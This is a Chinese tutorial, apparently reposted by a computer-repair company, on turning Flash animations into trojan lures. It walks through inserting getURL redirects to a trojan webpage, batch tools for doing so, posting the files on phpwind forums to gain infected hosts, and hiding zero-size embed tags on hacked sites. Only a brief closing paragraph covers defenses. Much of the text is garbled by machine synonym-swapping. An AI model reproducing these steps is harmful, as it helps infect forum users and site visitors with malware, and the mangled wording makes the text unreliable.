Flash木马程序是怎样练成的
一、制作flash动画木马的预备
flash动画木马的原理，是在网页中表现或当地间接播放flash动画木马时，让flash自动打开一个网址，而该网址便是我们预先制作好的一个木马网页。也便是说，在制作网页木马前，我们首先需要制作好一个网页木马，并将它放置到某个网站上去。
别的，我们还需要预备一个比较吸引人的flash动画文件“mm热舞.swf”，以及flash动画反编译工具“闪客精灵”，编辑工具macromedia flash mx。
二、最原始的flash木马
现在虽然有了很多林林总总的flash动画木马制作工具，但是为明晰解flash动画木马的最基来源根基理，有须要重新开始用最原始的要领制作一个flash木马。
步骤一：反编译swf动画
首先我们需要将要插中计页木马的flash动画文件“mm热舞.swf”，反编译成可编辑的.fla款式。运转“闪客精灵”，点击菜单“文件”→“快速打开”下令，指定“mm热舞.swf”文件将其导入。然后点击工具栏上的“导出fla”下令，将动画导出为“mm热舞.fla”文件。
步骤二：插中计页木马代码
然后运转flash动画编辑器macromedia flash mx，点击菜单“文件”→“打开”，调入刚才保存的fla文件。睁开界面下方的“动作/帧”栏，再睁开“动作”→“欣赏器/网络”项，点击此中的“geturl”下令，在右边窗口中的“url”内里输出我们的网页木马地点;窗口方法为“_blank”;“变量”设置为“使用get方法发送”，在下方的代码窗口中将呈现“geturl("http://网页木马地点", "_blank", "get");”。
步骤三：天生flash木马
设置终了后保存文件，并点击菜单“文件”→“发布”下令，将动画重新导出为swf款式。用ie欣赏器打开刚才天生的flash动画木马，可以看到随着flash动画打开播放时，自转动出一个欣赏器窗口，内里将会表现我们的木马网页。$page_devide$
三、简简单单天生flash木马
上面插入木马的历程比较贫苦，下面我们先容一个简单的要领，也正是这些简单的工具使得flash木马在网上随处可见。
运转swf木马插入器，点击界面中的“选择”按钮，欣赏指定要插入木马的swf文件;在“插入代码”中输出木马网页的地点;切记不要勾选下面的“只解压”项。设置终了后，点击“给我插”按钮，步伐提示开始插入木马网页。表现乐成信息后，关闭步伐，用ie打开天生的动画，可以看到自动跳转到木马网页去了。
四、flash木马的使用
看到上面的步骤了吧，天生一个flash动画木马是不是很简单?那么天生的flash木马该如何应用呢?只需我们将flash上传到某个网站中，就可以通过论坛或网站之类的间接使用了。
大部门的论坛中都可以发来flash动画的帖子，使用论坛发帖，攻击者可以快速获得大量的肉鸡。以phpwind v4.3.2 论坛为例，在发帖或复兴时，点击编辑窗口上方的“插入flash动画”按钮，设置flash窗口巨细，使用默许设置后，要求输出flash的url地点。确定后，可以看到编辑窗口中表现的代码为““(flash=400,300)hxxp://www.flash**.com.cn/upfiles/20067**.swf(/flash)””，这便是完整的flash播放代码了，不同的论坛代码是不一样的。
应用二：网页嵌入flash木马
攻击者入侵了某个大的网站之后，很大概在网站首页挂马，使用平凡方法挂马会被管理员觉察，但是挂上flash木马的话，是很难查杀的。攻击者大概在网页中插入如下代码：
“《embed src=http://网页木马地点/木马.swf width=0 height=0 type=application/x-shockwave-flash autostart="false" showstatusbar="false"》”，此中的《》改为<>。
这里的参数“width=0 height=0”表现，flash播放窗口为零，也便是不表现flash播放窗口。别的用户欣赏网页时，就会莫明其妙的弹出一个木马网页窗口。
五、关于flash木马的防备
实在不管flash木马有多么的奇妙，终极都是要跳转到木马网页去的，也便是说我们终极要防备的照旧网页木马。了解了思绪，对于flash动画木马就简单了：
首先，要开启windows xp sp2的窗口拦截窗口功效，或安装别的防弹出窗口的插件。如果那个漏网之鱼，莫明其妙弹出的网页窗口要实时的关闭。别的，一定要在上彀欣赏时开启杀毒软件的网页监控功效，只需网页木马在后台一下载到当地硬盘，就会被杀毒软件查杀，这样就万事无忧了!
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明：原创作品，允许转载，转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
|
评论加载中...
|
